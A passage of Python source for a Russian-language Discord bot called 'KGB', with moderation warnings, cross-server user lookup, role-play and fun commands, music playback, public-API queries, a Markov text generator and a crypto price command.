  672. await send_error_embed(ctx, f'У {member.mention} всего {warns[user][str(guild)]} предупреждений на этом сервере, вы не можете снять больше чем у него есть.')
  673. return
  674. warns[guild][user] -= count
  675. total_warns = warns[guild][user]
  676. with open('data/warn.json', 'w') as f:
  677. json.dump(warns, f)
  678. await ctx.reply(embed = discord.Embed(
  679. title = 'Снято предупреждени(е/и):',
  680. description = f'{count} предупреждений успешно снято у {member.mention}. \nОсталось {total_warns} предупреждени(й/я/е) на этом сервере.',
  681. color = discord.Color(0x000000)
  682. ))
  683. @kgb.command(description = 'Покажет сколько предупреждений у пользователя')
  684. @commands.has_permissions(administrator=True)
  685. @helpCategory('moderation')
  686. async def warnings(ctx, member: discord.Member):
  687. if isinstance(ctx.channel, discord.DMChannel): return
  688. guild = str(ctx.guild.id)
  689. user = str(member.id)
  690. if user == '1061907927880974406':
  691. await send_error_embed(ctx, 'Нет, сэр')
  692. return
  693. with open('data/warn.json', 'r') as f:
  694. warns = json.load(f)
  695. with open('data/stanwarns.json', 'r') as f:
  696. stanwarns = json.load(f)
  697. if guild not in stanwarns:
  698. await send_error_embed(ctx,
  699. 'Не установлены условия для предупреждений\n'
  700. 'Установите с помощью команды:\n'
  701. '`kgb!configwarn`')
  702. return
  703. if guild not in warns:
  704. await send_error_embed(ctx, 'На этом сервере не выдавалось никаких предупреждений')
  705. return
  706. if user not in warns[guild]:
  707. await send_error_embed(ctx, f'{member.display_name} не имеет предупреждений на этом сервере.')
  708. return
  709. total_warns = warns[guild][user]
  710. await ctx.reply(embed = discord.Embed(
  711. title = 'Всего предупреждений:',
  712. description = f'{member.display_name} имеет {total_warns} предупреждений на этом сервере.',
  713. color = discord.Color(0x000000)
  714. ))
  715. @kgb.command(description = 'Установит лимит предупреждений и действия после него')
  716. @commands.has_permissions(administrator=True)
  717. @helpCategory('config')
  718. async def configwarn(ctx, limit: int, warn_type: str):
  719. if isinstance(ctx.channel, discord.DMChannel): return
  720. guild_id = str(ctx.guild.id)
  721. with open('data/stanwarns.json', 'r') as f:
  722. stanwarns = json.load(f)
  723. if guild_id not in stanwarns:
  724. stanwarns[guild_id] = {}
  725. if warn_type.lower() == 'kick':
  726. stanwarns[guild_id]['warn_type'] = 'kick'
  727. stanwarns[guild_id]['warn_limit'] = limit
  728. elif warn_type.lower() == 'ban':
  729. stanwarns[guild_id]['warn_type'] = 'ban'
  730. stanwarns[guild_id]['warn_limit'] = limit
  731. else:
  732. await send_error_embed(ctx, 'Неверный тип предупреждения. Доступны "kick" и "ban".')
  733. return
  734. with open('data/stanwarns.json', 'w') as f:
  735. json.dump(stanwarns, f)
  736. await ctx.reply(embed = discord.Embed(
  737. title = 'Действие и лимит установлен:',
  738. description = f'Для сервера {ctx.guild.name} установлено {warn_type} при {limit} предупреждениях.',
  739. color = discord.Color(0x000000)
  740. ))
  741. @kgb.command(description='Ищет пользователей по их примерному нику на всех серверах, где присутствует бот')
  742. @helpCategory('info')
  743. async def seek_user(ctx, *, query):
  744. if isinstance(ctx.channel, discord.DMChannel): return
  745. users_found = {m.name
  746. for g in kgb.guilds
  747. for m in g.members
  748. if query.lower() in m.display_name.lower() or \
  749. query.lower() in m.name.lower()}
  750. if not users_found:
  751. await send_error_embed(ctx, f'Не могу найти пользователя по запросу "{query}"')
  752. return
  753. message = '\n'.join(users_found)
  754. users_count = f'Найдено пользователей: {len(users_found)}'
  755. await ctx.reply(embed=discord.Embed(
  756. title='Найденные пользователи:',
  757. description=f'{message}\n\n{users_count}',
  758. color=discord.Color(0x000000)
  759. ))
  760. @kgb.command(description='Ищет сервер, на котором находится пользователь по его точному нику, на всех серверах где присутствует бот ')
  761. @helpCategory('info')
  762. async def seek_server(ctx, *, user_name):
  763. if isinstance(ctx.channel, discord.DMChannel): return
  764. #guild_seek = None
  765. with open(GUILD_SEEK_FILENAME, 'r', encoding='utf-8') as f:
  766. guild_seek = json.load(f)
  767. found_servers = {kgb.get_guild(int(g_id))
  768. for g_id, g_info in guild_seek.items()
  769. for u in g_info['users']
  770. if user_name.lower() == u['name'].lower()}
  771. found_servers = {v.name for v in found_servers if v}
  772. if not found_servers:
  773. await send_error_embed(ctx, f'Не могу найти сервер, на котором находится пользователь {user_name}')
  774. return
  775. message = '\n'.join(found_servers)
  776. message_count = f'Всего найдено серверов: {len(found_servers)}'
  777. await ctx.reply(embed=discord.Embed(
  778. title='Вот сервера на которых есть пользователь:',
  779. description=f'{message}\n\n{message_count}',
  780. color=discord.Color(0x000000)
  781. ))
  782. @kgb.command(description = 'Покажет пинг бота')
  783. @helpCategory('misc')
  784. async def ping(ctx):
  785. if isinstance(ctx.channel, discord.DMChannel): return
  786. latency = kgb.latency
  787. await ctx.reply(embed=discord.Embed(
  788. title='Понг!',
  789. description=f'Скорость: {latency*1000:.2f} мс',
  790. color=discord.Color(0x000000)
  791. ))
  792. @kgb.command(description='Выведет рандомное число')
  793. @helpCategory('fun')
  794. async def rand(ctx, num1: int, num2: typing.Union[int, None]=None):
  795. if isinstance(ctx.channel, discord.DMChannel): return
  796. if not num2:
  797. num1, num2 = 0, num1
  798. if num1 > num2:
  799. num2, num1 = num1, num2
  800. result = random.randint(num1, num2)
  801. await ctx.reply(embed=discord.Embed(
  802. title='Результат:',
  803. description=result,
  804. color=discord.Color(0x000000)
  805. ))
  806. @kgb.command(description='Ищет статью на вики')
  807. @helpCategory('api')
  808. async def wiki(ctx, *, query):
  809. if isinstance(ctx.channel, discord.DMChannel): return
  810. wikipedia.set_lang('ru')
  811. try:
  812. page = wikipedia.page(query)
  813. await ctx.reply(embed=discord.Embed(
  814. title='Найдена страница',
  815. description=page.url,
  816. color=discord.Color(0x000000)
  817. ))
  818. except wikipedia.exceptions.PageError:
  819. await send_error_embed(ctx, f'Страница на Википедии не найдена для "{query}"')
  820. except wikipedia.exceptions.DisambiguationError:
  821. await send_error_embed(ctx, f'Слишком много результатов для "{query}". Пожалуйста, уточните свой запрос.')
  822. @kgb.command(description = ')')
  823. @helpCategory('secret')
  824. async def hentai(ctx):
  825. if isinstance(ctx.channel, discord.DMChannel): return
  826. await ctx.reply(embed = discord.Embed(
  827. title = 'Не-а)',
  828. description = 'Эй, школьник! Домашку сделай, а потом др*чи)',
  829. color = discord.Color(0xFF0000)
  830. ))
  831. @kgb.command(description='Поцеловать участника')
  832. @helpCategory('rp')
  833. async def kiss(ctx, member: discord.Member):
  834. if isinstance(ctx.channel, discord.DMChannel): return
  835. await ctx.reply(f'{ctx.author.mention} поцеловал(а) {member.mention}')
  836. @kgb.command(description='Ударить участника')
  837. @helpCategory('rp')
  838. async def hit(ctx, member: discord.Member):
  839. if isinstance(ctx.channel, discord.DMChannel): return
  840. await ctx.reply(f'{ctx.author.mention} ударил(а) {member.mention}')
  841. @kgb.command(description='Лизнуть участника')
  842. @helpCategory('rp')
  843. async def lick(ctx, member: discord.Member):
  844. if isinstance(ctx.channel, discord.DMChannel): return
  845. await ctx.reply(f'{ctx.author.mention} лизнул(а) {member.mention}')
  846. @kgb.command(description='Поприветствовать участника')
  847. @helpCategory('rp')
  848. async def hi(ctx, member: discord.Member):
  849. if isinstance(ctx.channel, discord.DMChannel): return
  850. await ctx.reply(f'{ctx.author.mention} поприветствовал(а) {member.mention}')
  851. async def rpImage(ctx, user: discord.Member, url: str) -> None:
  852. if isinstance(ctx.channel, discord.DMChannel): return
  853. data = requests.get(url).json()
  854. image_url = data['link']
  855. embed = discord.Embed(
  856. description = f'{ctx.author.mention} обнял(a) {user.mention}',
  857. color=0x000000
  858. )
  859. embed.set_image(url=image_url)
  860. await ctx.reply(embed=embed)
  861. @kgb.command(description='Обнять участника')
  862. @helpCategory('rp')
  863. async def hug(ctx, member: discord.Member):
  864. await rpImage(ctx, member, 'https://some-random-api.com/animu/hug')
  865. @kgb.command(description='Погладить участника')
  866. @helpCategory('rp')
  867. async def pet(ctx, member: discord.Member):
  868. await rpImage(ctx, member, 'https://some-random-api.com/animu/pat')
  869. @kgb.command(description='Вызывает голосование в канале\n(принимает длительность голосования только в часах)' )
  870. @helpCategory('moderation')
  871. async def poll(ctx, hours: int, *, text: str):
  872. if isinstance(ctx.channel, discord.DMChannel): return
  873. end_time = datetime.now(timezone.utc) + timedelta(hours=hours)
  874. end_time_msk = end_time + timedelta(hours=3)
  875. end_time_str = end_time_msk.strftime('%H:%M:%S')
  876. await ctx.message.delete()
  877. embedVar = discord.Embed(
  878. title=f'Голосование от {ctx.author.name}',
  879. description=f'{text}\n\n🔼 - Да\n🔽 - Нет\n\nГолосование закончится в {end_time_str} по МСК',
  880. color=0x000000
  881. )
  882. msgp = await ctx.send(embed=embedVar)
  883. await msgp.add_reaction('🔼')
  884. await msgp.add_reaction('🔽')
  885. while datetime.now(timezone.utc) < end_time:
  886. await asyncio.sleep(1)
  887. msgp = await msgp.channel.fetch_message(msgp.id)
  888. results = msgp.reactions
  889. yes_votes = results[0].count - 1
  890. no_votes = results[1].count - 1
  891. embedVar = discord.Embed(
  892. title='Голосование завершено!',
  893. description=f'{text}\n\n🔼 - Да ({yes_votes})\n🔽 - Нет ({no_votes})',
  894. color=0x000000
  895. )
  896. await msgp.edit(embed=embedVar)
  897. @kgb.command(description='Пишет информацию о категории\n(указывайте айди категории или её пинг')
  898. @helpCategory('info')
  899. async def category(ctx, category: discord.CategoryChannel):
  900. if isinstance(ctx.channel, discord.DMChannel): return
  901. category_info = {
  902. 'Имя:' : category.name,
  903. 'Создана:' : category.created_at.strftime('%d.%m.%Y %H:%M:%S'),
  904. 'ID:' : category.id,
  905. 'Позиция:' : category.position,
  906. 'Количество каналов:' : len(channels),
  907. }
  908. em = discord.Embed(title='Информация о категории:', color=0x000000)
  909. em.set_thumbnail(url=ctx.guild.icon.url)
  910. for n,v in category_info.items():
  911. em.add_field(name=n, value=v, inline=False)
  912. await ctx.reply(embed=em)
  913. @kgb.command(description='Пишет информацию о канале\n(указывайте айди канала или его пинг)')
  914. @helpCategory('info')
  915. async def channel(ctx, channel: typing.Optional[discord.TextChannel]):
  916. if isinstance(ctx.channel, discord.DMChannel): return
  917. channel = channel or ctx.channel
  918. channel_info = {
  919. 'Имя:': channel.name,
  920. 'Топик:': channel.topic or 'Нет топика.',
  921. 'Категория:': channel.category.name if channel.category else 'Нет категории',
  922. 'Позиция:': channel.position,
  923. 'NSFW:': 'Да' if channel.is_nsfw() else 'Нет',
  924. 'Слоумод:': channel.slowmode_delay,
  925. 'Тип канала:': str(channel.type).capitalize(),
  926. 'Создан:': channel.created_at.strftime('%d.%m.%Y %H:%M:%S'),
  927. }
  928. em = discord.Embed(title='Информация о канале:', color=0x000000)
  929. em.set_thumbnail(url=ctx.guild.icon.url)
  930. for n,v in channel_info.items():
  931. em.add_field(name=n, value=v, inline=False)
  932. await ctx.reply(embed=em)
  933. @kgb.command(description='Пишет информацию о роли\n(указывайте айди роли или её пинг' )
  934. @helpCategory('info')
  935. async def role(ctx, *, role: discord.Role):
  936. if isinstance(ctx.channel, discord.DMChannel): return
  937. role_info = {
  938. 'Имя:': role.name,
  939. 'ID:': role.id,
  940. 'Создана:': role.created_at.strftime('%d.%m.%Y %H:%M:%S'),
  941. 'Участников с этой ролью:': len(role.members),
  942. 'Позиция:': role.position,
  943. 'Показывается ли она отдельно:': role.hoist,
  944. }
  945. em = discord.Embed(title='Информация о роли:', color=0x000000)
  946. em.set_thumbnail(url=ctx.guild.icon.url)
  947. for n,v in role_info.items():
  948. em.add_field(name=n, value=v, inline=False)
  949. await ctx.reply(embed=em)
  950. @kgb.command(description='Выдаст рандомную цитату')
  951. @helpCategory('fun')
  952. async def quote(ctx):
  953. if isinstance(ctx.channel, discord.DMChannel): return
  954. fortun = fortune.get_random_fortune('static_data/fortune')
  955. await ctx.reply(f'```{fortun}```')
  956. @kgb.command(description='Выдаст рандомную шутку про Штирлица')
  957. @helpCategory('fun')
  958. async def shtr(ctx):
  959. if isinstance(ctx.channel, discord.DMChannel): return
  960. shtr = fortune.get_random_fortune('static_data/shtirlitz')
  961. await ctx.reply(f'```{shtr}```')
  962. @kgb.command(description='0x00000000')
  963. @helpCategory('secret')
  964. async def null(ctx):
  965. if isinstance(ctx.channel, discord.DMChannel): return
  966. embed = discord.Embed(title='NULL OF PROJECT', color=0x00000000)
  967. embed.set_image(url=global_config.secretURL)
  968. await ctx.reply(embed=embed)
  969. @kgb.command(description='Хорни карта')
  970. @helpCategory('api')
  971. async def horny(ctx, member: typing.Union[discord.Member, None] = None):
  972. if isinstance(ctx.channel, discord.DMChannel): return
  973. member = member or ctx.author
  974. if not member.avatar: return
  975. async with ctx.typing():
  976. async with aiohttp.ClientSession() as session:
  977. async with session.get(f'https://some-random-api.com/canvas/horny?avatar={member.avatar.url}') as af:
  978. if 300 > af.status >= 200:
  979. fp = io.BytesIO(await af.read())
  980. file = discord.File(fp, 'horny.png')
  981. em = discord.Embed(
  982. color=0xFFC0CB,
  983. )
  984. em.set_image(url='attachment://horny.png')
  985. await ctx.reply(embed=em, file=file)
  986. else:
  987. await ctx.reply('No horny :(')
  988. await session.close()
  989. @kgb.command(description='hello comrade!')
  990. @helpCategory('api')
  991. async def comrade(ctx, member: typing.Union[discord.Member, None] = None):
  992. if isinstance(ctx.channel, discord.DMChannel): return
  993. member = member or ctx.author
  994. if not member.avatar: return
  995. async with ctx.typing():
  996. async with aiohttp.ClientSession() as session:
  997. async with session.get(f'https://some-random-api.com/canvas/overlay/comrade?avatar={member.avatar.url}') as af:
  998. if 300 > af.status >= 200:
  999. fp = io.BytesIO(await af.read())
  1000. file = discord.File(fp, 'comrade.png')
  1001. em = discord.Embed(
  1002. color=0xff0000,
  1003. )
  1004. em.set_image(url='attachment://comrade.png')
  1005. await ctx.reply(embed=em, file=file)
  1006. else:
  1007. await ctx.reply('No horny :(')
  1008. await session.close()
  1009. @kgb.command(description='Взлом пентагона')
  1010. @helpCategory('fun')
  1011. async def hack_pentagon(ctx):
  1012. if isinstance(ctx.channel, discord.DMChannel): return
  1013. progress = 0
  1014. while progress < 100:
  1015. await ctx.reply(f'Pentagon hack progress: {progress}%')
  1016. time.sleep(1)
  1017. progress += random.randint(1, 10)
  1018. await ctx.reply('Pentagon hack progress: 100%')
  1019. time.sleep(1.5)
  1020. if random.randint(1, 30) > 20:
  1021. await ctx.reply('Pentagon hack: Completed successfully.')
  1022. else:
  1023. await ctx.reply('Pentagon hack: Failed.')
  1024. @kgb.command(description='Не может проигрывать музыку с ютуба\nМожет проигрывать только прямые ссылки на аудиофайлы')
  1025. @helpCategory('music')
  1026. async def playaudio(ctx, url):
  1027. if isinstance(ctx.channel, discord.DMChannel): return
  1028. if not ctx.author.voice:
  1029. await send_error_embed(ctx, 'Вы должны быть подключены к голосовому каналу, чтобы воспроизвести музыку.')
  1030. return
  1031. channel = ctx.author.voice.channel
  1032. voice_client = await channel.connect()
  1033. try:
  1034. voice_client.play(discord.FFmpegPCMAudio(
  1035. url,
  1036. options='-vn',
  1037. before_options='-reconnect 1 -reconnect_streamed 1 -reconnect_delay_max 5',
  1038. ))
  1039. except Exception: pass
  1040. while voice_client.is_playing():
  1041. await asyncio.sleep(1)
  1042. await asyncio.sleep(5)
  1043. await voice_client.disconnect()
  1044. @kgb.command(description='Может проигрывать музыку только с ютуба')
  1045. @helpCategory('music')
  1046. async def play(ctx, url):
  1047. if isinstance(ctx.channel, discord.DMChannel): return
  1048. if not ctx.author.voice:
  1049. await send_error_embed(ctx, 'Вы должны быть подключены к голосовому каналу, чтобы воспроизвести музыку.')
  1050. return
  1051. voice_channel = ctx.author.voice.channel
  1052. voice_client = await voice_channel.connect()
  1053. ydl_opts = {
  1054. 'format': 'bestaudio/best',
  1055. 'postprocessors': [{
  1056. 'key': 'FFmpegExtractAudio',
  1057. 'preferredcodec': 'mp3',
  1058. 'preferredquality': '192',
  1059. }],
  1060. 'noplaylist': True,
  1061. }
  1062. try:
  1063. with yt_dlp.YoutubeDL(ydl_opts) as ydl:
  1064. info = ydl.extract_info(url, download=False)
  1065. if not info:
  1066. await send_error_embed(ctx, 'Произошла ошибка получения данных о музыке. Проверьте правильность ввода ссылки')
  1067. return
  1068. for format in info['formats']:
  1069. if format['audio_ext'] == 'none': continue
  1070. voice_client.play(discord.FFmpegPCMAudio(format['url']))
  1071. break
  1072. await ctx.reply(f'Проигрывается музыка в канале {voice_channel}.')
  1073. while voice_client.is_playing():
  1074. await asyncio.sleep(1)
  1075. except Exception: pass
  1076. await asyncio.sleep(5)
  1077. await voice_client.disconnect()
  1078. @kgb.command(description='Выгоняет бота из войс канала')
  1079. @helpCategory('music')
  1080. async def leave(ctx):
  1081. if isinstance(ctx.channel, discord.DMChannel): return
  1082. if not ctx.voice_client:
  1083. await send_error_embed(ctx, 'Бот должен быть подключён к голосовому каналу, чтобы выйти')
  1084. return
  1085. await ctx.voice_client.disconnect()
  1086. @kgb.command(description='Вышлет вам код дискорд бота "SudoBot"')
  1087. @helpCategory('misc')
  1088. async def code(ctx):
  1089. if isinstance(ctx.channel, discord.DMChannel): return
  1090. file = discord.File('static_data/sudocode.py')
  1091. await ctx.reply(file=file)
  1092. @kgb.command(description=
  1093. 'Введите эту команду в тот канал куда вы хотите получать новости.\n'
  1094. 'Напишите в качестве агрумента "Off" если хотите отписаться от новостей.'
  1095. )
  1096. @helpCategory('config')
  1097. async def sub(ctx, publisher: str, off: typing.Union[str, None] = None):
  1098. if isinstance(ctx.channel, discord.DMChannel): return
  1099. def getPublishers() -> str:
  1100. out = ''
  1101. for pub in RETR_PUBLISHERS.keys(): out += f'`{pub}`, '
  1102. return out
  1103. if publisher not in RETR_PUBLISHERS:
  1104. await send_error_embed(ctx, f'Неверное имя публикатора! Доступные имена: {getPublishers()}')
  1105. return
  1106. pub = RETR_PUBLISHERS[publisher]
  1107. if off == 'off':
  1108. if not pub.unsubscribe(ctx.channel.id):
  1109. await send_error_embed(ctx, f'Данный канал не находится в списке подписок у публикатора `{publisher}`!')
  1110. return
  1111. await ctx.reply(f'Канал {ctx.channel.mention} удален из списка у публикатора `{publisher}`.')
  1112. return
  1113. if not pub.subscribe(ctx.channel.id):
  1114. await send_error_embed(ctx, f'Данный канал уже есть в списке подписок у публикатора `{publisher}`!')
  1115. return
  1116. await ctx.reply(f'Канал {ctx.channel.mention} добавлен в список у публикатора `{publisher}`.')
  1117. @kgb.command(description='Выводит всю информацию о скрэтч-пользователе')
  1118. @helpCategory('scratch')
  1119. async def scratch_user(ctx, username):
  1120. if isinstance(ctx.channel, discord.DMChannel): return
  1121. base_url = 'https://api.scratch.mit.edu/users/'
  1122. url = base_url + username
  1123. try:
  1124. data = requests.get(url).json()
  1125. except requests.exceptions.RequestException as e:
  1126. print('Error:', e)
  1127. return
  1128. if 'username' not in data:
  1129. await send_error_embed(ctx, f'Пользователь с именем `{username}` не найден')
  1130. return
  1131. user_info = {
  1132. 'Страна:' : data['profile']['country'],
  1133. 'Обо мне:' : data['profile']['bio'],
  1134. 'Над чем я работаю' : data['profile']['status'],
  1135. 'Дата создания аккаунта:' : data['history']['joined'],
  1136. }
  1137. embed = discord.Embed(
  1138. title=f'Информация о пользователе {username}',
  1139. color=discord.Color.orange()
  1140. )
  1141. embed.set_thumbnail(url=data['profile']['images']['90x90'])
  1142. embed.set_footer(text=f'ID: {data["id"]}')
  1143. for n,v in user_info.items():
  1144. embed.add_field(name=n, value=v, inline=False)
  1145. await ctx.reply(embed=embed)
  1146. @kgb.command(description='Нейросеть которая рисует несуществующих людей')
  1147. @helpCategory('neuro')
  1148. async def person(ctx):
  1149. if isinstance(ctx.channel, discord.DMChannel): return
  1150. response = requests.get('https://thispersondoesnotexist.com')
  1151. await ctx.reply(file=discord.File(io.BytesIO(response.content), 'generated_image.jpg'))
  1152. @kgb.command(description='Интересное о Космосе')
  1153. @helpCategory('api')
  1154. async def nasa(ctx):
  1155. if isinstance(ctx.channel, discord.DMChannel): return
  1156. url = 'https://api.nasa.gov/planetary/apod'
  1157. params = {
  1158. 'api_key': global_config.nasaKEY
  1159. }
  1160. data = requests.get(url, params=params).json()
  1161. embed = discord.Embed(title=data['title'], description=data['explanation'], color=discord.Color.dark_blue())
  1162. embed.set_image(url=data['url'])
  1163. await ctx.reply(embed=embed)
  1164. @kgb.command(description='Генератор оскарблений')
  1165. @helpCategory('api')
  1166. async def insult(ctx):
  1167. if isinstance(ctx.channel, discord.DMChannel): return
  1168. data = requests.get('https://evilinsult.com/generate_insult.php?lang=ru&type=json').json()
  1169. await ctx.reply(embed = discord.Embed(
  1170. title = data['insult'],
  1171. color = discord.Color(0x000000)
  1172. ))
  1173. @kgb.command(description='Генератор бреда Порфирьевич')
  1174. @helpCategory('neuro')
  1175. async def porfir(ctx, *, prompt):
  1176. if isinstance(ctx.channel, discord.DMChannel): return
  1177. async with ctx.typing():
  1178. api_url = 'https://pelevin.gpt.dobro.ai/generate/'
  1179. data = {
  1180. 'prompt': prompt,
  1181. 'length': random.randint(20, 60)
  1182. }
  1183. try:
  1184. response = requests.post(api_url, json=data, timeout=30)
  1185. except requests.ConnectTimeout:
  1186. await send_error_embed(ctx, 'Превышено время ожидания')
  1187. return
  1188. if response.status_code == 500:
  1189. await ctx.reply('Нейросеть отключена, невозможно предположить время её включения.')
  1190. return
  1191. if response.status_code != 200:
  1192. await ctx.reply(f'Произошла ошибка при получении данных от API Профирьевича. Код ошибки: {response.status_code}')
  1193. return
  1194. data = response.json()
  1195. generated_text = data['replies'][0]
  1196. await ctx.reply(f'```\n{prompt}{generated_text}\n```')
  1197. @kgb.command(description = 'Перезапускает бота(только для разработчика)')
  1198. @helpCategory('secret')
  1199. async def reload(ctx):
  1200. if isinstance(ctx.channel, discord.DMChannel): return
  1201. if ctx.author.id != 745674921774153799 and ctx.author.id != 999606704541020200:
  1202. await send_error_embed(ctx, 'Эта команда только для разработчиков!')
  1203. return
  1204. await ctx.reply(embed = discord.Embed(
  1205. title = 'Пожалуйста подождите:',
  1206. description = 'Бот перезагрузится через 3 секунды!',
  1207. color = discord.Colour(0x000000)
  1208. ))
  1209. await asyncio.sleep(3)
  1210. exit(1)
  1211. @kgb.command(description=
  1212. 'Генерирует текст как гена.\n'
  1213. 'Для того, чтобы бот работал в данном канале,\n'
  1214. 'Пропишите: kgb!genconfig read true'
  1215. )
  1216. @helpCategory('neuro')
  1217. async def gen(ctx, *args: str):
  1218. if isinstance(ctx.channel, discord.DMChannel): return
  1219. channelId = str(ctx.channel.id)
  1220. if channelId not in genAiArray or not genAiArray[channelId].config['read']:
  1221. await send_error_embed(ctx, 'Бот не может читать сообщения с этого канала! Включите это через команду `kgb!genconfig read true`!')
  1222. return
  1223. try:
  1224. await ctx.reply(genAiArray[channelId].generate(' '.join(args)[:2000]))
  1225. except ValueError as exc:
  1226. await send_error_embed(ctx, str(exc))
  1227. @kgb.command(description=
  1228. 'Настраивает поведение команды kgb!gen в данном канале.\n'
  1229. 'Введите имя опции без значения, чтобы посмотреть её текущее значение.\n'
  1230. 'Доступные опции:\n'
  1231. '`read true/false` - Позволяет боту сохранять сообщения и картинки для генерации\n'
  1232. '`reply_on_mention true/false` - Позволяет боту генерировать текст если ответить на его сообщение\n'
  1233. '`remove_mentions true/false` - Не позволяет упоминать участников в сгенерированном тексте'
  1234. )
  1235. @helpCategory('config')
  1236. async def genconfig(ctx, option: str, *, value: typing.Union[str, None] = None):
  1237. if isinstance(ctx.channel, discord.DMChannel): return
  1238. optionKeys = ''.join([f'`{key}` ' for key in markov.DEFAULT_CONFIG])
  1239. def strToBool(inp: str) -> bool: return inp.lower() == 'true'
  1240. channelId = str(ctx.channel.id)
  1241. if channelId not in genAiArray:
  1242. if value: genAiArray[channelId] = markov.MarkovGen()
  1243. else:
  1244. if option not in markov.DEFAULT_CONFIG:
  1245. await send_error_embed(ctx, f'Неизвестное значение `{option}`! \nДоступные значения: {optionKeys}`')
  1246. return
  1247. await ctx.reply(embed=discord.Embed(
  1248. title='Инфо',
  1249. description=f'Значение `{option}` равно `{markov.DEFAULT_CONFIG[option]}`',
  1250. color=discord.Colour(0x000000)
  1251. ))
  1252. return
  1253. genAi = genAiArray[channelId]
  1254. if option not in genAi.config:
  1255. await send_error_embed(ctx, f'Неизвестное значение `{option}`! \nПожалуйста, пропишите команду:\n`kgb!help genconfig`')
  1256. return
  1257. if value:
  1258. genAi.config[option] = strToBool(value)
  1259. await ctx.reply(embed=discord.Embed(
  1260. title='Успешно',
  1261. description=f'Значение `{option}` было установлено в `{genAi.config[option]}`',
  1262. color=discord.Colour(0x000000)
  1263. ))
  1264. return
  1265. await ctx.reply(embed=discord.Embed(
  1266. title='Инфо',
  1267. description=f'Значение `{option}` равно `{genAi.config[option]}`',
  1268. color=discord.Colour(0x000000)
  1269. ))
  1270. @kgb.command(description='Удаляет все сообщения из базы генерации')
  1271. @helpCategory('config')
  1272. async def genclear(ctx):
  1273. if isinstance(ctx.channel, discord.DMChannel): return
  1274. if str(ctx.channel.id) in genAiArray:
  1275. del genAiArray[str(ctx.channel.id)]
  1276. await ctx.reply(embed=discord.Embed(
  1277. title='Успешно!',
  1278. description='Все данные команды kgb!gen очищены в этом канале!',
  1279. color=discord.Colour(0x000000)
  1280. ))
  1281. @kgb.command(description='Выводит факты о числах(на англиском).\nДоступные типы фактов:\n`math` `date` `year` `trivia`')
  1282. @helpCategory('api')
  1283. async def factnumber(ctx, number: int, fact_type: str):
  1284. if isinstance(ctx.channel, discord.DMChannel): return
  1285. valid_fact_types = ['trivia', 'math', 'date', 'year']
  1286. if fact_type not in valid_fact_types:
  1287. await send_error_embed(ctx, 'Пожалуйста, введите корректный тип факта.')
  1288. return
  1289. url = f'http://numbersapi.com/{number}/{fact_type}?lang=ru'
  1290. response = requests.get(url)
  1291. if response.status_code != 200:
  1292. await send_error_embed(ctx, f'Извините, не удалось получить факт о числе {number}.')
  1293. return
  1294. fact_text = response.text
  1295. await ctx.reply(embed=discord.Embed(
  1296. title='Факт о числе:',
  1297. description=fact_text,
  1298. color=discord.Colour(0x000000)
  1299. ))
  1300. @kgb.command(description='Покажет всю информацию о боте')
  1301. @helpCategory('info')
  1302. async def bot_info(ctx):
  1303. if isinstance(ctx.channel, discord.DMChannel) or kgb.user is None:
  1304. return
  1305. total_commands = len(kgb.commands)
  1306. embed = discord.Embed(title='Информация о боте:',
  1307. description=
  1308. 'КГБ - Комитет Государственной Безопасности\n'
  1309. 'Напишите kgb!help чтобы увидеть полный список команд\n'
  1310. 'Бот очень активно разрабатывается, \n'
  1311. 'Поэтому может падать несколько раз в день. \n'
  1312. f'{kgb.user.name} находится на {len(kgb.guilds)} серверах и имеет {total_commands} команд',
  1313. color=discord.Color(0x000000))
  1314. embed.add_field(name='Версия:', value='3.0', inline=False)
  1315. embed.add_field(name='Полезные ссылки:',
  1316. value=f'[Добавить {kgb.user.name} на свой сервер]({global_config.botURL})\n'
  1317. f'[Присоединится к серверу бота]({global_config.serverURL})\n'
  1318. f'[Поддержать бота на бусти]({global_config.boostyURL})\n'
  1319. f'Зайти на [сайт]({global_config.siteURL}) компании',
  1320. inline=False
  1321. )
  1322. embed.set_thumbnail(url=global_config.tumbaYUMBA)
  1323. embed.set_footer(text='© 2023 Soviet WorkShop', icon_url=global_config.avaURL)
  1324. await ctx.reply(embed=embed)
  1325. @kgb.command(desciption='Выполняет код языка Hellya')
  1326. @helpCategory('neuro')
  1327. async def execute(ctx, *, code=None):
  1328. user_id = ctx.author.id
  1329. if user_id in last_command_time:
  1330. current_time = time.time()
  1331. last_time = last_command_time[user_id]
  1332. if current_time - last_time < 15:
  1333. await send_error_embed(ctx, f'Подождите еще {15 - (current_time - last_time):.1f} секунд')
  1334. return
  1335. if not code and not ctx.message.attachments:
  1336. await send_error_embed(ctx, 'Вы должны прикрепить файл с кодом или ввести код в сообщении.')
  1337. return
  1338. if not code and ctx.message.attachments:
  1339. attachment = ctx.message.attachments[0]
  1340. if attachment.filename.endswith('.hellya'):
  1341. code = (await attachment.read()).decode('utf-8')
  1342. else:
  1343. await send_error_embed(ctx, 'Пожалуйста, прикрепите текстовый файл с кодом.')
  1344. return
  1345. result = execute_code(code)
  1346. if result == 'Код успешно выполнен.':
  1347. try:
  1348. with open('result.png', 'rb') as file:
  1349. result_image = discord.File(file)
  1350. await ctx.reply(result)
  1351. await ctx.reply(file=result_image)
  1352. os.remove('result.png')
  1353. last_command_time[user_id] = time.time()
  1354. except FileNotFoundError:
  1355. await send_error_embed(ctx, 'Ваш код не сохраняет картинку, либо не создаёт её')
  1356. last_command_time[user_id] = time.time()
  1357. else:
  1358. await send_error_embed(ctx, result)
  1359. last_command_time[user_id] = time.time()
  1360. @kgb.command(description='Подробный хелп по команде execute')
  1361. @helpCategory('info')
  1362. async def help_execute(ctx):
  1363. file = discord.File('static_data/help.txt')
  1364. await ctx.reply(file=file)
  1365. @kgb.command(description='Показывает курс криптовалют по отношению к рублю')
  1366. @helpCategory('info')
  1367. async def price(ctx, arg=None):
  1368. if arg is None:
  1369. embed = discord.Embed(
  1370. title='Список криптовалют:',
  1371. description=
  1372. '1. Монеро (Monero)'
  1373. '\n2. Зефир (Zephyr Protocol)'
  1374. '\n3. Догикоин (Dogecoin)'
  1375. '\n4. Эфириум (Ethereum)'
  1376. '\n5. Биткоин (Bitcoin)\n'
  1377. '\nЧто бы узнать курс криптовалюты напишите:'
  1378. '\nkgb!price (название валюты на англ. со строчной буквы)'
  1379. , color=discord.Color(0x000000)
  1380. )
  1381. else:
  1382. symbol = global_config.symbols.get(arg.lower())
  1383. if symbol is None:
  1384. await send_error_embed(ctx, "Криптовалюта не найдена")
  1385. return
  1386. crypto_price = get_crypto_price(symbol, global_config.api_key)
  1387. if crypto_price is not None:
